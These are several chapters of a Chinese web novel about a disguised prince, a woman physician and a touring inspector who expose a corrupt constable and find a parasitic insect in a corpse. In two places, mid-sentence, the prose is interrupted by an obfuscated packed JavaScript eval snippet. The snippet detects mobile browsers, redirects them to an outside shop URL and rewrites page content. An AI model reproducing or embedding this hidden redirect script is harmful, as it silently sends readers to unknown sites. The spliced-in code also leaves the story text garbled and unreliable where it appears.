“殓房?”牛万金张口就来。 江楚禾正急着,也没工夫计较那地方究竟适不适合活人久待,大步就往殓房走去。 可她才刚迈出几步,又被牛万金急吼吼地喊住:“啊!不对!官爷要是这会子来义庄,肯定是来瞧下午送过来的尸体的,那可不得进殓房?到时你们要再撞上,就更说不清了……” 饶是对他的作风早就心里有数,江楚禾还是顺口埋怨道:“我说你这人究竟能不能靠点儿谱呢?” 两人平日里嘻嘻哈哈相互挤兑早就习以为常,眼下还有正事,又当着歹人,本不应当嬉闹,可牛万金却忍不住嘴贱的本性。 “啧,怎么就成我不靠谱了呢?咱这可是义庄!统共就那几个屋,大多都是殓房。要不……” 江楚禾听他如此断句,以为当真有戏,立马看向他,然后就听得那人继续道:“厨房、茅房、卧房,你自己选一个!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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江楚禾看着廖庆那副难掩焦急的神色,以及黑衣人过分配合的姿态,突然生出一个大胆的猜测。 “慢着!”她出声喊停,随后看向正紧紧把着黑衣人臂弯的司徒靖,见对方似乎也没有要撒手的意思,这才安下心来继续道:“廖捕头,好久不见,您这是不认得民女了?” 呵,这晦气娘们! 廖庆心想,若非她当初不肯老实就范,哪里还有之后这么些麻烦? 他轻哼一声,威胁道:“姓江的,本捕还有要事在身,你莫要耽误工夫,若是干扰了公务,可叫你吃不了兜着走,到时别怪我……” 正说着,司徒靖便冷冷打断他道:“廖捕头来此拿人,不知可有文书凭证?” 若按大梁律令,衙门拿人定然都要出示文书,只不过弋陵县衙管得不严,文书往往都是事后补上,而他今日来得仓促,自然更没心思预备那劳什子。 不过理亏归理亏,他这么些年也不是白混的,怎么会让一个小白脸给轻松唬住? 廖庆答曰:“没有!” 好一个理不直气也壮。 司徒靖像是对此早有预见,闻言面色不变,又问:“依律法规定,各级衙役在拿人时均需三两结伴,彼此监督。为何廖捕头今日独自前来?” 廖庆愣住,显然没想到此人竟还当真懂得不少。 但眼下已是火烧眉毛,他也顾不得那么多,索性撕破脸皮:“你个小白脸,莫要敬酒不吃吃罚酒!” 他大喝一声,旋即抽刀砍向司徒靖。 42. 偷袭 “啊!”“啊……” 一箭射出,还没等江楚禾放下.手.弩,院内便是“啊”声连连。 最先发出叫喊的自然是廖庆。 此时他正举着爪子嗷嗷嚎叫,鲜血顺箭杆从右手掌心汩汩冒出,看上去格外惨烈。 江楚禾把他摔在地上的长刀拎到手里,又看着自家药僮“啊”完半天还没合拢的嘴,无奈唤道:“阿福?” 宋福从震惊中回神,忍不住叹道:“诶?东家……您箭法可真厉害!” 江楚禾与八个兄长一同长大,自幼如男儿般舞剑抡刀、驭马习射,虽不善近战,但箭无虚发,有着堪比射声士的精绝射技,但她掌握此等绝技已有多年,对旁人为此流露出的惊羡之情也早就司空见惯。 因而,她并未对宋福的称赞做出什么回应,只是淡淡吩咐道:“别愣着了,快给廖捕头包扎一下。” 方才情况紧急,除那把从黑衣人手中抄来的手.弩又没有旁的工具,江楚禾便只好出此下策,将廖庆持刀的右手射伤。 但她到底没怀着要置人于死地的心思,阻他行凶便罢,若这位官廨中人真有什么三长两短,她也不好交代。 如此想着,江楚禾在佩囊里翻找片刻,挑出药性最烈的那瓶递给宋福。 止血的药粉刚一上手,廖庆又疼得喊叫起来。 然后,就如同回音一般,又有一人也随之发出叫喊。 这次是牛万金。 “你们这一个个儿的都是怎么了?” 她带着几分疑惑回过头去,却见一队人马距离他们已不过百步之遥。 为首的是一位温润儒雅的年轻郎君,观之器宇不凡,想必定非常人,而在他身侧伴着的则是一飒爽干练的高个女子,虽着一身蓝色的男式劲装,却并未试图遮掩那副冷艳的好容貌,不消细看便能瞧出她是一个英气十足的女郎。 除她以外,还有六名护卫正簇拥着那年轻男子,个个着甲佩刀,而从他们所穿甲胄形制来看,应不是宁州本地官兵,倒有些像是建兴帝专门派给巡按御史们充作仪仗护卫的礼字营兵士。 莫非他是…… 正想着,牛万金便已“扑通”一声跪在地上,大呼:“草民牛万金,拜见巡按大人!” 宋福见状大惊,赶忙跟着跪下,而廖庆也早就手忙脚乱地伏在地上,将脑袋埋低。 唯有司徒靖仍顶着那张无悲无喜的脸,将身板挺得刚直,甚至还在江楚禾屈膝之际一把扶住她的手肘。 万幸面前的贵人并不介意,他道:“诸位不必拘礼,都起来吧。” 来人声音清亮圆润,有如泉水叮咚,令人过耳不忘。 如此评价可绝非夸张,因为江楚禾仅通过这短短十个字就已认出他是何人。 付家六郎,付子攸。 江楚禾默默将脑袋垂得更低一些,心里则惴惴不安地担忧起被对方认出的可能来。 因忧心君主忌讳三大家族相互之间交往过密,晏、付、江三家虽与皇室皆曾有过婚约,但彼此之间却从不联姻,到近几代人更是私下里也少有来往,故而江楚禾对付昂并不算熟悉。 她之所以能凭嗓音就认出此人,还是因五年前在赤霞山行宫的御苑春筵上曾与众多女宾一道隔着屏风听他吟过一曲的缘故,而付昂对她,更该是全然陌生才对。 可是,此人毕竟是她那两位阿兄在国子监的昔日同窗,虽不曾与她照面,却未必识不得她这张与兄长们有着五分肖似的脸。 更何况,此处还有一个晏家人…… 江楚禾是闺门女子,并无多少机会抛头露面,被人认出的可能还不算很高,可他却不同。 她虽不知这位晏二公子是否曾同其他世家子弟一起受教,可他毕竟是个男子,又在虎贲军中任职,万一曾和付昂有过什么交集,岂不是轻易就会被认出来? 如此想着,她又侧头看向身旁之人,可对方却是目不斜视,全无一分一毫的心虚。 五年前建兴帝下旨从江、付两家择适龄女子作配于齐、燕二王,候选者便是江楚禾以及盐铁使付易之女付月,那时燕王一党气势正盛,而齐王则孤守皇陵、远离中枢,故而付月将全副心思都放在了燕王身上,不仅设法偶遇司徒竑并与之暗中传递情意,以求后者能在择妻时选择自己,甚至还曾加害于江楚禾,以防这位“竞争者”挡道。 如此心机倒也没有白费,在赐婚当年的冬月,她便顺利与司徒竑完婚,成为名副其实的燕王妃,自此付氏一族的利益与燕王深度捆绑,虽为世家,却是新党,在如今朝局下好不得意。 江楚禾想,既然燕王志在储位,势必要与太子为敌,如此算来,晏家作为太子母族,便与付家自然站在对立面。 若那人被付昂认出来,恐怕会令所谋之事再生枝节。 看着正一步步走来的那班人马,江楚禾唯恐“同伙”身份败露会招来麻烦,只好硬着头皮迎上去,试图占得几分先机。 “民女江阿九,见过付巡按。” 江楚禾向付昂福身行礼,继续言道:“民女是弋陵医馆归元堂的掌柜,师从青囊山庄宗庄主,深夜携两位同门来此,是应牛仵作相邀,前来查证亡者所患疾病,不想竟因撞破歹人潜入而险遭毒手。万幸此人已被生擒,只是还没来得及送至官府,您看……” 她这话先是给一行三人安了个应邀协助牛万金的身份,然后又将重心引到黑衣歹人的身上,如此一来,这位巡按大人便没必要深究三人底细,而是应该赶紧将黑衣人带去盘问一番。 果然,付昂听后微微颔首。 “桑侍卫。” 他一声令下,蓝衣女子立即会意,与一名礼字营的护卫一起扭着黑衣人的双臂,将其牢牢控制住。 江楚禾对事态的发展感到非常满意,眼下她只要瞅准机会提出“我等庶民不便在此干扰官爷办案”便可以顺利开溜。 至于廖庆…… 他一无文书孤身拿人,二又动手袭击百姓,本就有错在先,付六郎官声在外,可是人人称道的中正严明,想来定不会偏袒于他,廖庆如果足够聪明,就不会在付昂面前提及此事。 她正想着,便见那不够聪明的皂衣捕头猛地扑到付昂脚边,呼嚎起来:“万万不可啊!巡按大人!” 付昂先前一直无视此人,现下突然来这么一出,他才做出惊讶神色,关心道:“廖捕头?哎哟,怎么是你啊!这黑灯瞎火的,本官还没留意到,你怎 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廖庆那双绿豆眼滴溜溜地转了转,像是又心生一计,转头就向付昂言道:“巡按大人,方才小人听更夫报称此处似有歹人出没,唯恐错失擒贼良机,这才没来得及上报就匆忙赶到此处,未曾想,一来便见着这几位围着那黑衣人嬉闹,言语间颇显松快,在见到小人后却如临大敌!一听小人要带走此人,更是百般阻挠,显然没安好心!” 不是,没安好心的究竟是谁啊? 听闻此言,江楚禾全身的肌肉都猛地绷紧起来,有如被逼到墙角的小兽,正准备寻求最后的一线生机。 像是察觉到她突然的异状,一只大手轻轻放在江楚禾的肩头,她转头看去,正对上一双沉静黑亮的眼眸。 世界霎时安静下来,片刻之后,她又听得付昂那带着几分笑意的声音。 “‘百般阻挠?’方才江娘子可是主动要本官将此人带走的,廖捕头,你怕不是误会了人家的好意吧?” “哎哟!巡按大人!这便是小人说万不可由您将此人带走的原因啊!” “这又是何道理?” 付昂说这句话时听上去真诚无比,以至于让廖庆都卸下防备,开始大胆说道起来:“小人前来捉拿此人时,这娘们反复阻挠,眼下却主动将其送到巡按大人您的手上,仔细想来……恐怕是另有谋划,付巡按您是千金之躯,万一有什么闪失,小人万死难辞其咎啊!” “哦?那……廖捕头意下如何?” “付巡按明鉴,不如就让小人先将这贼人押至衙门,再由您审讯,届时即便其同伙还有什么旁的打算,怕是也无从施展,您看……” 付昂温润一笑,像是没听懂他的言外之意。 “本官既食君之禄,又怎能因此等无端猜测就借口推诿呢?” 如此说着,他又看向牛万金:“牛仵作,烦请在这儿寻个方便之处,本官现在就审审这贼人。” 见他这般油盐不进,廖庆一咬牙,偷偷向身后打出一个手势。 下一瞬,有什么东西“嗖”地一声从远处飞来,径直刺向正要进屋的那一行人。 43. 暴露 “保护大人!”桑恬大喝一声,挡在付昂身前。 可对方却并非是冲他们而来。 不过瞬息之间,箭镞直中黑衣人的后心,他踉跄着走出几步,然后一头栽倒在牛万金与宋福的脚边。 他们两人虽已见惯死伤,但却少有这般直面敌袭的经历,眼下突然来这么一遭,自是受到不小的惊吓,在大喊出声后又相互搀扶着缩成一团,闷头祈祷着还能见到明日的太阳,根本没有工夫管那贼人的死活。 而江楚禾则在箭镞飞来的瞬间就被司徒靖护进怀里,从头到脚都让那高大的身影掩得严严实实,连个露头的机会都没有。 唯有廖庆瞪起绿豆眼在黑暗中巡睃着,他见归元堂的几人都无暇分心,又看向正指挥护卫追击偷袭者的付昂和持刀警戒的桑恬,顿觉此乃天赐良机,猫着身子就朝地上已没有动静的那团黑影摸了过去。 可他刚将对方翻了个身,便听江楚禾高声喊道:“廖捕头,你干什么呢?” 呸!这该死的恶婆娘!怎么在男人怀里还不老实? 他暗骂一句,只好抓紧时间在黑衣人的身前摸索,同时还不忘装模作样地喊一句:“醒醒!你这贼人莫要装死!” 这下江楚禾更看不过眼了。 她轻轻推开司徒靖,迎着廖庆的目光走过去,面上竟丝毫没有胆怯之意。 “廖捕头,此人身后中箭,若贸然翻动更会令其失了生机,你若真想留他活口,便不该碰他!” “啧,你这话是几个意思?”廖庆听出她的话外之音,面露不悦地叫嚷一句,但在见到付昂等人围过来后又悻悻地闭住嘴,往阴影处挪了挪步子。 见他没再继续,江楚禾也懒得纠缠,而是径直检查起黑衣人的伤势来。 那人的口鼻正往外冒着暗色的血沫,面色青黑、两眼发直,早就已经没了呼吸。 她仔细探过那人的脉象,在确定已无计可施后才认命起身,准备将这个噩耗报告给付昂。 可就在此时,她的身后却突然传来一声闷哼,紧接着便是一连串的咒骂,将众人的注意力尽数吸引过去。 “嘶……你这狗胆包天的刁民!竟敢无故对本捕动粗……你活腻味了?” 江楚禾循声望去,只见司徒靖正紧紧捏着廖庆的腕子,另一手则从他袖内捞出个蛋黄大小的瓷质药瓶递给付昂。 “廖捕头,这里边儿装的是何物啊?” 付昂仍是一脸恰到好处的微笑,可在廖庆看来,却觉得分外瘆得慌,他不能确定方才的行动究竟有没有被人瞧去,但眼下既被问起,也只好先装傻一阵再做打算。 于是他道:“小的……不知……” “廖捕头又说笑了不是……这可是从你自个儿袖内掏出来的东西,你能不知道?” 付昂的声线依旧如故,全然听不出一丝怒意。 廖庆摸不清他的意思,只好继续嘴硬:“小的没见过此物……都是他,是这医馆伙计陷害于我!” 他两手都被缚着,没法指着司徒靖的鼻子咒骂,只得转脸努着嘴,显得那张山鼠脸愈发面目可憎。 付昂却没被他恶心到,仍顶着那张温润如玉的脸轻声笑曰:“哦?可本官怎么瞧见……是廖捕头自个儿从那死人怀中将这玩意摸出来的呢?” 什么? 这下廖庆终于确定事情已经败露,他一咬牙,使出全身力气甩开擒住自己的那一双手,而后“蹭”地上前便要去抢那瓷瓶,只是还未能近身就被桑恬横刀挡住去路。 他迂回两步,正要再试,又被另一个高大身影缠斗上来。 此前两人交手之时,司徒靖一面顾及着此人的衙役身份,一面又要防范黑衣人趁机逃脱,仅仅使出两分功力与其周旋,现下廖庆既已撕破嘴脸,他便也放开手脚,三两下就将对方逼至角落。 廖庆招架不住,很快就放弃挣扎,趴在地面不再动弹,任由司徒靖将他五花大绑起来。 只是绑便绑了,对方的眼神怎么竟像藏着刀子似的…… 他心下一沉,预感此人定不会这般轻易作罢。 付昂自然也已将这一切看在眼里。 他轻咳一声,如此下令道:“牛仵作,烦请在对面哪间空闲的殓房里腾个地儿,本官要审审廖捕头。也请这位郎君随本官同去,细说一下今晚擒拿那黑衣人的经过。其余人都留在此处,协助牛仵作验尸。” 说罢,众人齐声应下。 眼见付昂与司徒靖并肩离开,江楚禾愈发心里打鼓:看这个意思……莫不是要将归元堂的人分开审讯? 她只觉两腿像是不由自主似的追赶上去,在身后轻声喊道:“二郎!” 听见这个称呼,付昂眼皮一跳。 不过司徒靖本人倒是镇定得很,他立即转过身,对江楚禾道:“别担心,我稍后回来。” 他自然不愿与她分开,但有些事却耽搁不得。 甫一进屋,司徒靖就立即褪去那副沉厚寡言的伙计伪装,露出凛然难犯的真面目。 廖庆被他骤然拔高的气度惊得一愣,又眼见付昂亲力亲为将自己捆上房柱,终于意识到有什么不对。 这俩人多半早就认识!而那小白脸的身份怕是比付巡按还要高上一截! 他啐了一口,咧嘴骂道:“呵!人人都说你付巡按公正无私,原来也是做来骗人的!我看呐……天下狗官都一样,拉帮结派、偏袒同党、媚上欺下……诶,我说巡按大人,你何不向草民介绍介绍,这位又是哪里来的贵人,也好让小的死个明白?” 他一口气说了半天,付昂的脸上却不见丁点愠色,只动手收紧绳索,在确保其足够结实后便恭顺地退到门口。 而司徒靖更加不会同廖庆废话。 他举起手中瓷瓶,气势逼人地走到近前,劈头就问:“这瓷瓶之中是为何物?又是何人差你前来取走它?” “呵……”廖庆没有答话,反而轻蔑一笑,“两位贵人,平时这种脏活都是旁人做,恐怕没什么经验,还不知道该如何审犯人吧?不急……小的来教教你们……先得把我关在县衙牢狱饿上几天,然后去刑室里将我那些宝贝都过一遍……” 为防屈打成招,本朝在刑讯一事上立有不少的规矩,对刑具选择更是限制重重。廖庆也是花大功夫才打造出如今这套恰能符合律法要求,同时又让他使得顺 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“是又如何?哦,我明白了……你们一个二个的还是在给那娘们出气是吧?呵!她倒还真是没白长那张脸……能勾搭这么多个大老爷们为她做事……啧,这么看……她胯.下的功夫怕是还真不赖……” 一听这话,付昂顿感脖颈之后寒气阵阵。 “你休要胡言乱语!”他赶忙打断廖庆,直入主题说起正事:“我且问你,犯下此案的王富可是与你一伙?” “那你去问王富呗!” 廖庆耸了耸八字眉,又翻起那双绿豆眼,看上去欠揍极了。 “王富早已暴死狱中,廖捕头你就在县衙当值,竟没听说吗?” “哦,忘了。” “本官听说王富正是在与你私下会面后不久就口吐白沫、不治而亡,廖捕头若说自己不记得,还真是令人难以信服。” “哦,想起来了……他不是羊角风死的么?嘿嘿!我说……巡按大人手里若有证据,合该早就将小的抓进牢里好好审问一番,眼下这东一榔头西一棒槌的问法,恐怕也是纯属瞎猜吧?” 廖庆在回话时尽显无赖作风,大有一副“死猪不怕开水烫”的架势,像是打定主意要与两位官爷相互磋磨下去。 但如此空耗精力总非良策,特别是想到此番“疫病”患者症状中的肌肉萎缩恰与李全死状吻合,而眼前之人又与两案皆有勾连,司徒靖便更加心急。 他大步上前,揪住廖庆的前襟,冷声问道:“此次的疫病究竟是怎么回事?你们还有什么谋划?” “关你屁事?” 廖庆摆出一副惫懒神态,道:“你不就是想替那医馆的臭娘们出口恶气吗?直接杀了我就是,做什么在这问七问八的,还白白浪费唾沫星子!说起来……我也真是后悔……早知这个饭碗端不了多久,当日便该好好尽兴!毕竟那娘们虽然脾气臭,模样却是当真不错……嘿……你不如跟哥哥我说道说道,她的滋味到底如何?” “住口!”司徒靖闻言震怒,撒手放开他的衣襟,径直捏住那根黑黄的脖颈。 44. 约定 很快,廖庆就脸色紫红,然而付昂却没有要上前劝阻的意思。 但这绝非是他忌惮一品亲王的权势,实在是那人一贯自持、从不失控,让他放心得很。 果不其然,就在廖庆因快要窒息而本能挣扎时,脖颈上的大手立刻松开。 “想找死?没那么容易。”司徒靖凑到对方耳边,咬着牙低声说道。 话音刚落,他就在廖庆的耳后猛击一记,在确定对方已失去意识后,才回头看向付昂。 “子攸,方才你说王富已然身亡,此事可当真?” “千真万确,下官在察觉李全与疫病患者存在相似症状后,便立即要求提审王富,这才得知他被关押不久便开始神志不清、胡言乱语,很快便口吐白沫、浑身抽搐而亡。县衙的医官称其是因入狱受惊而犯痫病。事后县衙曾试图联系他的家人,未曾想他那寡母林媪竟已不知所踪。” “失踪?” “生不见人,死不见尸。” 闻言,司徒靖蹙起眉头:“可有为人所掳的迹象?” “下官并未亲往王富祖屋察看,因此也不好妄言。但据捕快张义所说,现场凌乱无序,想来林媪多半是被人所擒,再结合今日之事……” 付昂这么说着,又看向被捆在房柱上,正耷拉着脑袋的廖庆。 司徒靖心下了然:“王富只是局中一子,背后另有其人。” “下官已调查过曾与王富共事的船工水手,暂时并未发现可疑之人,据称王富素日里不好交友,亦无人听说他曾加入过什么帮派,恐怕一时很难寻到幕后之人的蛛丝马迹。” “那阿姎呢?她可有提到些什么?” “阿姎?”听到这个名字,付昂一愣。 见他面露疑惑之色,司徒靖又道:“王富名义上的妹妹,是王家早年买来用作换亲之用,江九娘子正是因为此女才会在上元夜与李全发生抵牾,进而被构陷蒙冤。” 付昂忙解释道:“下官调出的案卷之中只记录李全向王富寻衅,进而被后者失手反杀之事,倒并未提及这段前情……” 对于这一点,司徒靖可以说是毫不意外。 就弋陵县衙里那群蠢材,能凑出案卷都实属稀罕。 他不免叹气,还未来得及说些什么,又听得付昂继续言道:“下官此前查看王富的户籍时,亦未发现他家中除寡母之外还另有亲人,这是下官的过失,还请殿下治罪。” “这未必是你的疏忽,许是王家在将她买入时就不曾落籍。不过如今她已入黄家为奴,你派人去黄季家里寻来便是,兴许她会知道些什么。” 付昂急忙点头应下,在看过窗外天色后,又犹豫道:“黄季毕竟是本地豪绅,不好深夜前去打搅,待到明日天亮,下官便差人去将此女传来问话,殿下以为如何?” 司徒靖微微颔首,但心中却并未对此抱有太大期望。 “从王富入手只是下策,此人既是弃子,想来在这局中也只是微末小卒,若要查清此案,恐怕还得另寻线索。” “殿下说得是。” 付昂恭顺地立于一旁,垂眸望向地面,在屋内昏黄的灯光笼罩下,如同一尊木刻的人像。 司徒靖就着那点光亮看向他,思忖片刻后才道:“我听闻县中有不少病患在请巫女跳神后痊愈,不知子攸可曾留意过?” 一听那“巫女”二字,付昂急忙解释:“县中确有可疑之人借机宣扬鬼神之说,只是那伙贼人行迹奇诡,难寻踪迹,暂时无法确定其身份下落,因此下官不敢妄言,绝非有意相瞒,还望殿下恕罪。” “是吗?”司徒靖神色不变,所言却让听者不禁悚然:“说来也怪,弋陵百姓轻易就能将‘圣使’请入家中,官府手握重兵,反倒连区区几个巫女都寻不着。” 付昂“扑通”一声便跪下去。 “子攸这是做什么?起来说话。”司徒靖倾身上前,将人虚虚扶起,“本地官府可用者寥寥,疫病一事恐怕还要劳你多多费心。” “此乃下官的本分,断不敢言及‘费心’二字,只是……” “但说无妨。” “下官毕竟只是巡按御史,虽有督办监察之权,却不好越过陶刺史直接插手此事,否则怕是要坏了规矩,也难免惹出误会。” 昏暗的灯光下,一双桃花眼微微眯起,眸中更添几分凌厉。 “你是不敢管,还是不想管?” 听到这话,付昂顿觉两腿一软,只是还未屈膝就被司徒靖扶住手肘,便只好顶着那束骇人的目光,横起心回道:“下官初来此地,在察觉似有疫病横行时便立即着手推进治疫,只是囿于职权所限,难免力不从心,绝无推脱之意,请殿下明鉴。” “既如此,本王便给你权力。” 司徒靖从袖中掏出一枚掌心大小的令牌递给付昂,继续道:“昔年圣上曾予我调查大梁境内一切事涉灵异之案的便宜行事之权,如今此案既与巫女相关,自当归本王管辖。这枚‘太极令’你且收着,权当是替我出面料理此事,如若有人胆敢阻挠……依律,法办。” 他的语气渐冷,一字一顿时更显威严。 看着令牌上的阴阳鱼,付昂明白对方这是已经下定决心,只得恭顺应下,但心中忧虑却分毫不减。 他想,若司徒靖只求查明本地疫情,倒也是救民于水火的功德一件,便是赴火蹈刃都算值得。可据当下所掌握的信息来看,此事背后明晃晃地藏有阴谋,若深挖下去,所涉之事恐殃及朝堂。 思及此处,付昂难免有些心乱如麻。 司徒靖早就看出他仍有未尽之言,“说罢,你还知道什么?” 黑亮的眼眸在灯火的映照下愈发目光炯炯,再配上万仞寒山般的凛冽气度,没来由地就让人生出几分好似面对神明一般的敬畏之心。 付昂终于坦白:“下官南下途中便听闻越州有部分村落突遭疫病横行,同近期弋陵所发生的颇为相似,病愈者皆曾请巫觋设坛祈禳,乃至于奉家财入其教门。” “福莲教?” 付昂一怔,随后点头。 “正是。但……如今朝中皆以封禅一事为重,无人敢以灾异冲撞吉兆,这才秘而不宣……” 话音方落,安静的屋内传来一声骨节发出的脆响。 紧接着,是低哑冷冽的男声:“此举无异于盗钟掩耳,虽瞒得一时,却殃及百姓,实乃社稷之患。” 付昂心知此言有理,只好垂首立于一旁,抿着双唇不敢言语。 幸而司徒靖并未计较他的隐瞒,“眼下这疫病来得诡异,民间已有颇多流言,倘若放任不管,不仅民众遭难受苦,亦有危害社稷之忧,还是得尽早弄清此病根源,及时替百姓医治才是。” “殿下英明。只是下官初来宁州,尚不知此处何人可用,随行之人又并无医家背景,面对疫情难免心余力绌……” “需要什么,尽管提。” “下官是想……江九娘子仁心仁术,若能援手相助……” 听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952417|192645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到这话,司徒靖不由叹气。 付昂立即止住话头,借着屋内昏暗的灯光看向对方,却摸不清那人到底是什么心思。 他自幼便习得一手察言观色的好本事,可在面对此人时却屡屡失手,当下难免无措,幸而不过几息之间,又得到对方的明示:“子攸大可以径直去问她。” “那……如若江九娘子应允……” “只要是她所愿,我自当全力支持。”说罢,司徒靖定定直视他的眼睛,“付子攸,你奉旨巡按,应该明白‘直达天听’这四个字的分量,今日之事,你当如实上报。” 如实上报? 听闻此言,付昂感到有些意外。 京中早有传言,称太子因巫蛊之案被禁足东宫,而齐王求情不成亦受陛下冷待,自那之后便回到观云山皇陵闭门不出。只是以他对司徒靖的了解,此人必不会坐以待毙,想来早就暗中离京,调查太子所涉之案,但此行应未得到陛下准许,至于江九娘子亦在此地的事情,更该是个秘密,若贸然上报,岂非自投罗网? 还是说…… 这话是用来试探自己的? 他正想着,便听司徒靖道:“我知你正直、忠诚,且身负皇命,定会将所见所闻上达天听,既敬你为人,自不会逼你隐瞒,更何况……本王的软肋,父皇最是清楚,不必瞒,也瞒不过。” “是,齐王殿下。” 闻言,司徒靖微微一顿,“她……暂不知我真实身份,你在此地先唤我‘晏安’罢。” “晏安?” 司徒靖点头,又补充:“一应细节,参照静远的情况即可。” 在两人重逢之际,他便从未掩饰自己多年修道所养成的习性,还曾刻意提及“孝字营”种种,就是有意引导她将自己当成此人。 目前来看,应是正遂他意。 他绝非自欺欺人之辈,唯独在此事上却迟迟狠不下心去撕破假面,即便心知瞒不得一世,却仍旧忍不住贪恋这一时半刻虚幻的温存。 可见凡人有欲,便会贪。 他也并非例外。 真是可耻,又可悲。 见司徒靖的神色难得有几分落寞,付昂不敢言语,只好点头以示明白。 此间一时无声,以至于连对面殓房里斗嘴的动静都听得一清二楚。 司徒靖迅速收敛情绪,吩咐道:“找个人来盯住廖庆,咱们先去看看牛仵作那儿进展如何。” 付昂随即应下,又看了眼仍挂在房柱上歪嘴酣睡的“山鼠精”,叹气道:“此人油滑得很,怕是还得放在州府牢狱里好生伺候一阵才行。” “那便上些手段。” 付昂心领神会,忙做惭愧状:“下官此行只是常规巡查,倒没带着这方面的人才……” “好说,将青獒借你。” “下官谢过齐王殿下。” 司徒靖闻言侧目,语气中居然带着几分戏谑:“方才本王叫你唤我什么?” 付昂不曾见他这般,心中难免有些意外,好在二十余年的恭谨小心如今已深入骨血,即便再震惊也不会影响他的步调。 他向对方拱了拱手,恭顺回道:“眼下既无旁人,下官不敢冒犯,待到人前再行改口。” 因受其生母身份的连累,付昂在族内一直是看人脸色战战兢兢地过活,司徒靖心知他既已养成这般习性,便也不再强求。 “辛苦子攸配合本王做戏。”他轻启屋门,让出一步后又道:“付巡按,请。” 45. 毒豸 见两人一前一后地回到殓房,江楚禾立即迎上前去,相处这段时日,她已能顺利辨别出司徒靖看似面无表情的神色下,究竟是在表达什么意思。 正如现在,他脸上写着:不必担忧。 江楚禾顿时宽心,这才将手中瓷瓶向前递去。 “付巡按,方才那黑衣人在被擒住后曾试图咬破口中毒丸自尽,我等已将毒丸取出,就在此瓶之中,还请您差人收着,留作证物。” 付昂就着桑恬的手将那瓶中之物端详片刻,又问:“不知……这可是什么稀罕毒物?” “民女未曾验过此毒,故而不敢断言。不过它既是用作死士自尽之用,想来不会选择特异毒物,其一是没有必要,倒不如省时省力,其二也是免得被人循着原料查了去。不知……付巡按觉得可有道理?” “江娘子说得不错!”付昂展颜微笑:“本官于医药之学实在是一窍不通,看来此案还得要劳烦诸位多多帮衬,付某先行谢过。” 此言一出,江楚禾立即明白,那两人密谈许久,应是已达成某种约定,由归元堂的几人协助这位远道而来的巡按大人处理与疫案有关的事。 于她而言,这无疑是个好消息。 其一,至少说明在那人眼中,付昂是可信之人,甚或二者早就有些交情;其二,她原只是出于医者的慈悲与责任感才想要援手治疫,可从今晚之事来看,明显这场“疫病”背后另有阴谋,且很可能同她调查许久的秘案相关,此事她怕是非插手不可。 江楚禾如此想着,又看向先前被黑衣人洒落一地的那束甘茅。 可巧付昂刚听完牛万金的验尸汇报,也正问起此物。 “牛仵作,你方才说这死者指尖的烫伤是掐灭甘茅上的火星留下的?甘茅是何物,你可知死者为何要燃它?” 牛万金自然不知,他两眼一转,立马把问题甩给江楚禾:“小的不知,刚还是听江娘子所说,才知晓此物叫作‘甘茅’,不然还当是寻常茅草嘞!” 如此一说,付昂顺势向她问起:“江娘子,此草可是一味药材?” “回付巡按,此物性寒、味甘,取其根部煎汤内服具有清热止血之效,同寻常茅草根的功效无异,但种植难度较茅草要大得多,盖因出产量少的缘故,价格也不似后者实惠,因而医家几乎不会以此入药。” “那可怪了,这歹人怎会燃它?莫非燃烧此草能有什么特别的用处?江娘子若是知晓什么,还请不吝赐教。” 江楚禾忙道:“民女不敢。此物不算常见,民女对其也知之甚少,只是曾听到过与之相关的……一则野闻。” 这还要从她的二伯江润说起。 这位曾负盛名的泽甫先生自幼便是洒脱不羁,于修习一道向来奉行“随才成就”的理念,对寻常世家子弟所学的经史策论毫无兴趣,却在书画方面天赋绝伦,年纪轻轻便是举国闻名的丹青妙手,因而也愈发不得管教,早早放弃入仕之途,云游四方、寄情山水,过得好不逍遥。 不过虽然悠闲,那段时光也绝非荒度,除却留下数十卷山水画作外,他还将一路见闻落于纸面,对南北各地风土人情、地质地貌乃至珍奇物种皆进行详细记录,最终成书二十余卷,名为《泽甫游记》。 在成书过程中,江楚禾曾从旁协助多时,因此阅读过不少被他废弃的手稿,其中便有与甘茅相关的记载,称引燃此物可招来蛊虫。 此为江润自南部海域孤岛“碧璆”流落在外的岛民口中听来,算不得有根有据,何况本朝在民间信仰这一方面可谓管制甚严,对“巫蛊”二字更是忌讳得很,因此他便没将这部分修进书中。 他既如此,江楚禾自然更不敢提及“蛊虫”云云,她犹豫片刻,便道:“点燃此草,恐有引虫之效。” “引虫?可是某种特定虫类?”付昂不禁想起从廖庆手中抢来的瓷瓶之中,那些令人毛骨悚然的内容物。 “据传言所说,昆虫毒豸在闻到此草燃烧的气味后,会变得异常活跃。至于旁的……民女也不清楚。” “那便试试。”沉默在旁已有许久的司徒靖突然插话。 付昂立刻同意,很快护卫就将先前那具尸体请到此处,并在旁边燃起一束甘茅。 未几,一股辛香伴随烟雾充斥屋内,众人忍不住咳嗽起来,唯有司徒靖闭气凝神,紧紧盯着面前的尸体,果真发现端倪。 “这里。” 江楚禾顺他手指的方向看过去,只见死者手臂的皮肉之下有什么东西正在缓缓蠕动,随着甘茅燃尽而愈发活跃,甚至隐隐有一种即将破皮而出的架势。 付昂蹙眉,问:“牛仵作,这……能取出来吗?” “这……我……”也不知道啊! 牛万金一脸求救之色。 “我试试。” 说罢,江楚禾拿起旁边的细长小锥在死者手部筋脉处戳出一个小孔,又顺着异物移动的路径按压片刻之后,一只如扁虱般的赤红小虫自孔洞处慢慢钻出。 司徒靖见状立即递给她一把铜镊,又从付昂手中接过一枚精致的琉璃瓶,与江楚禾两相配合,很快就将那只小虫顺利装进瓶中。 